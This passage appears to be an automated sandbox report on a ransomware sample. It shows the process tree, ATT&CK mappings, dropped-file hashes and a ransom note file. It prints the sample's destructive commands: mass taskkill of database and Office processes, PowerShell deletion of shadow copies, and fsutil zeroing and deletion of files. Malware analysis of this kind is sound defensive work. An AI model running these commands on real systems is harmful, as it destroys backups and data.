  "taskkill.exe" /IM msftesql.exe /F
  2⤵
  - Kills process with taskkill
  - Suspicious use of AdjustPrivilegeToken
  PID:4216
- C:\Windows\SYSTEM32\taskkill.exe
  "taskkill.exe" /IM powerpnt.exe /F
  2⤵
  - Kills process with taskkill
  - Suspicious use of AdjustPrivilegeToken
  PID:5908
- C:\Windows\SYSTEM32\taskkill.exe
  "taskkill.exe" /IM mydesktopqos.exe /F
  2⤵
  - Kills process with taskkill
  - Suspicious use of AdjustPrivilegeToken
  PID:6032
- C:\Windows\SYSTEM32\taskkill.exe
  "taskkill.exe" /IM visio.exe /F
  2⤵
  - Kills process with taskkill
  - Suspicious use of AdjustPrivilegeToken
  PID:1096
- C:\Windows\SYSTEM32\taskkill.exe
  "taskkill.exe" /IM mydesktopservice.exe /F
  2⤵
  - Kills process with taskkill
  - Suspicious use of AdjustPrivilegeToken
  PID:5880
- C:\Windows\SYSTEM32\taskkill.exe
  "taskkill.exe" /IM winword.exe /F
  2⤵
  - Kills process with taskkill
  - Suspicious use of AdjustPrivilegeToken
  PID:4580
- C:\Windows\SYSTEM32\taskkill.exe
  "taskkill.exe" /IM mysqld-nt.exe /F
  2⤵
  - Kills process with taskkill
  - Suspicious use of AdjustPrivilegeToken
  PID:4712
- C:\Windows\SYSTEM32\taskkill.exe
  "taskkill.exe" /IM wordpad.exe /F
  2⤵
  - Kills process with taskkill
  - Suspicious use of AdjustPrivilegeToken
  PID:4736
- C:\Windows\SYSTEM32\taskkill.exe
  "taskkill.exe" /IM mysqld-opt.exe /F
  2⤵
  - Kills process with taskkill
  - Suspicious use of AdjustPrivilegeToken
  PID:4776
- C:\Windows\SYSTEM32\taskkill.exe
  "taskkill.exe" /IM ocautoupds.exe /F
  2⤵
  - Kills process with taskkill
  - Suspicious use of AdjustPrivilegeToken
  PID:4788
- C:\Windows\SYSTEM32\taskkill.exe
  "taskkill.exe" /IM ocssd.exe /F
  2⤵
  - Kills process with taskkill
  - Suspicious use of AdjustPrivilegeToken
  PID:4808
- C:\Windows\SYSTEM32\taskkill.exe
  "taskkill.exe" /IM oracle.exe /F
  2⤵
  - Kills process with taskkill
  - Suspicious use of AdjustPrivilegeToken
  PID:4828
- C:\Windows\SYSTEM32\taskkill.exe
  "taskkill.exe" /IM sqlagent.exe /F
  2⤵
  - Kills process with taskkill
  - Suspicious use of AdjustPrivilegeToken
  PID:3468
- C:\Windows\SYSTEM32\taskkill.exe
  "taskkill.exe" /IM sqlbrowser.exe /F
  2⤵
  - Kills process with taskkill
  - Suspicious use of AdjustPrivilegeToken
  PID:4816
- C:\Windows\SYSTEM32\taskkill.exe
  "taskkill.exe" /IM sqlservr.exe /F
  2⤵
  - Kills process with taskkill
  - Suspicious use of AdjustPrivilegeToken
  PID:4740
- C:\Windows\SYSTEM32\taskkill.exe
  "taskkill.exe" /IM synctime.exe /F
  2⤵
  - Kills process with taskkill
  - Suspicious use of AdjustPrivilegeToken
  PID:4792
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" & Get-WmiObject Win32_Shadowcopy | ForEach-Object { $_Delete(); }
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:4904
- C:\Windows\System32\notepad.exe
  "C:\Windows\System32\notepad.exe" C:\Users\Admin\Desktop\HOW_TO_DECYPHER_FILES.txt
  2⤵
  - Opens file in notepad (likely ransom note)
  PID:6200
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /C ping 127.0.0.7 -n 3 > Nul & fsutil file setZeroData offset=0 length=524288 “%s” & Del /f /q “%s”
  2⤵
  - System Network Configuration Discovery: Internet Connection Discovery
  PID:6524
- - C:\Windows\system32\PING.EXE
    ping 127.0.0.7 -n 3
    3⤵
    - System Network Configuration Discovery: Internet Connection Discovery
    - Runs ping.exe
    PID:5712
- - C:\Windows\system32\fsutil.exe
    fsutil file setZeroData offset=0 length=524288 “%s”
    3⤵
    PID:1876
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" "/C choice /C Y /N /D Y /T 3 & Del "C:\Users\Admin\AppData\Local\Temp\69c56d12ed7024696936fb69b4c6bee58174a275cb53fa966646a0b092d9626b.exe
  2⤵
  PID:4572
- - C:\Windows\system32\choice.exe
    choice /C Y /N /D Y /T 3
    3⤵
    PID:4836

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

System Services

T1569

Service Execution

T1569.002

Persistence

Create or Modify System Process

T1543

Windows Service

T1543.003

Privilege Escalation

Create or Modify System Process

T1543

Windows Service

T1543.003

Defense Evasion

Credential Access

Credentials from Password Stores

T1555

Credentials from Web Browsers

T1555.003

Windows Credential Manager

T1555.004

Unsecured Credentials

T1552

Credentials In Files

T1552.001

Discovery

Browser Information Discovery

T1217

Query Registry

T1012

Remote System Discovery

T1018

System Information Discovery

T1082

System Network Configuration Discovery

T1016

Internet Connection Discovery

T1016.001

Lateral Movement

Collection

Data from Local System

T1005

Command and Control

Exfiltration

Impact

Service Stop

T1489

Replay Monitor

Loading Replay Monitor...

Downloads

C:\ProgramData\Microsoft\Network\Downloader\edbtmp.log

Filesize
1.3MB

MD5
4fcf8a95cd4ec8f20908402073eb0991

SHA1
a6e6513108513f1d1f59e8b409e80cdcc5ece6d4

SHA256
e32cce99a909a7b9971738c132a314e3c4aa2e49a79d60e993403c709d58310e

SHA512
e79ce8ae3034c2a75ca20b6ce74fe9b9c2961c93fc59f072eb795703776333417c14b6f5f448e664252f09f3cdd777408f447836c84a14d5988e8504e1fa7014

Download Submit
C:\ProgramData\Package Cache\{01B2627D-8443-41C0-97F0-9F72AC2FD6A0}v56.64.8804\windowsdesktop-runtime-7.0.16-win-x64.msi

Filesize
28.8MB

MD5
dee9e6f89dfff11f90d03f6274a7e0b5

SHA1
d5f172b0cfcc2ad43744ff2479730dcca7fba365

SHA256
36fd98834dcf3d668dd6d97d62ed0c413f967c2ae540e4e26089f0a43434406b

SHA512
aa2bb1f21f3d7b750372b22ff7c6ec84c3746cdb87e304c65eb5b07df3e02b9b797518a300143f87d5678e3c0c8ad5d76830c9c1833f68522986743c3bcb22f1

Download Submit
C:\ProgramData\Package Cache\{1B690A4C-381A-40D4-BA4A-3F8ACD5CE797}v56.64.8781\dotnet-hostfxr-7.0.16-win-x64.msi.energy[[email protected]]

Filesize
804KB

MD5
3c5faa6210daa79808e1824f4271e5a6

SHA1
f18b121633d9727cf36affdd11df3cb922b7762b

SHA256
0e0e7590d9b37149001b8de608cd3f7eb8289cc06eff4ba00c11f0cda88c688f

SHA512
4a406b24712bffc37d8d09619376d12b0923d31e8db9ca6c8769b8222a47a03057bbf5683b3d4f633625052b3e780ade9391115c962dc801ff960b9b2b8db24d

Download Submit
C:\ProgramData\Package Cache\{79043ED0-7ED1-4227-A5E5-04C5594D21F7}v48.108.8828\dotnet-runtime-6.0.27-win-x64.msi

Filesize
25.7MB

MD5
cec7c5196cdd4746bb150abebf86b6f9

SHA1
03bab88b4493cc3f264cdead8687f371e31a057b

SHA256
667b949c4be1fd87214b50508e607863ba098fbc0efbff3e4bf2f2d45431bd5f

SHA512
9ffc6d390bb30e7906066399ed893de16a33712d26be1ca328230ffc37c18548f1335e592a780516b3bcc0635085c344aea5f78a04db6f8dd093efbc0058faa7

Download Submit
C:\ProgramData\Package Cache\{BF08E976-B92E-4336-B56F-2171179476C4}v14.30.30704\packages\vcRuntimeAdditional_x86\vc_runtimeAdditional_x86.msi.energy[[email protected]]

Filesize
180KB

MD5
1220b458940e80139ce650f8f7770283

SHA1
3b8d6436a9bc203cd9ed0aeafa7d5a2a66dec2d5

SHA256
faedc51f10ae405359bebd67d15a5b4ef815ff398cab3c990bf7b51d3ad5ee66

SHA512
04d72cec38ae9b39f8165e2cced08abc2459497c5a30b76cf135c6476a9bf3920110beeb4732a7dd1c4555641a9fad5498889f91d5823e2b799cd57653ad5766

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

Filesize
2KB

MD5
d85ba6ff808d9e5444a4b369f5bc2730

SHA1
31aa9d96590fff6981b315e0b391b575e4c0804a

SHA256
84739c608a73509419748e4e20e6cc4e1846056c3fe1929a8300d5a1a488202f

SHA512
8c414eb55b45212af385accc16d9d562adba2123583ce70d22b91161fe878683845512a78f04dedd4ea98ed9b174dbfa98cf696370598ad8e6fbd1e714f1f249

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
944B

MD5
80dfd43d9904cb4bdd37f6934f47ccf8

SHA1
72c0981be679ef6a22cbabbdc3e02a7e80a3eafc

SHA256
a6e60a417d8c6649d78716bcfae64c452ca60367f2280f0b41d5febac503edad

SHA512
793f081a3c5f89a88e4472be0ee26f04f47cbba6a8c5af2710fb8d09a224fc7ded64ff68924325cce0b518f330458cdd0bfafbab9f805ddcc68393aa3f179247

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_btiqyb0y.hor.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
C:\Users\Admin\Desktop\HOW_TO_DECYPHER_FILES.txt

Filesize
828B

MD5
9c7c263d9fea17863472d2d9f5f255e9

SHA1
9fad396be9bec3ccaeeef321a6a73144bd26344d

SHA256
4c93ecfdfab35b6b691d32a3a594c405f7e09c3bb447a22286519215d5259a32

SHA512
7c0e4a463d99588c240839282c1613149bddd0d0e4fea6668023e0281f9f1540d46d20370cd611dccd82dbb68e75cdca9a6980582f14ede68a77a69264335964

Download Submit
memory/2368-159-0x00007FFA2F333000-0x00007FFA2F335000-memory.dmp

Filesize
8KB

Download
memory/2368-177-0x00007FFA2F330000-0x00007FFA2FDF1000-memory.dmp

Filesize
10.8MB

Download
memory/2368-2-0x00007FFA2F330000-0x00007FFA2FDF1000-memory.dmp

Filesize
10.8MB

Download
memory/2368-0-0x00007FFA2F333000-0x00007FFA2F335000-memory.dmp

Filesize
8KB

Download
memory/2368-1-0x00000000005A0000-0x00000000005BA000-memory.dmp

Filesize
104KB

Download
memory/2368-577-0x00007FFA2F330000-0x00007FFA2FDF1000-memory.dmp

Filesize
10.8MB

Download
memory/4904-19-0x000001BBFE340000-0x000001BBFE362000-memory.dmp

Filesize
136KB

Download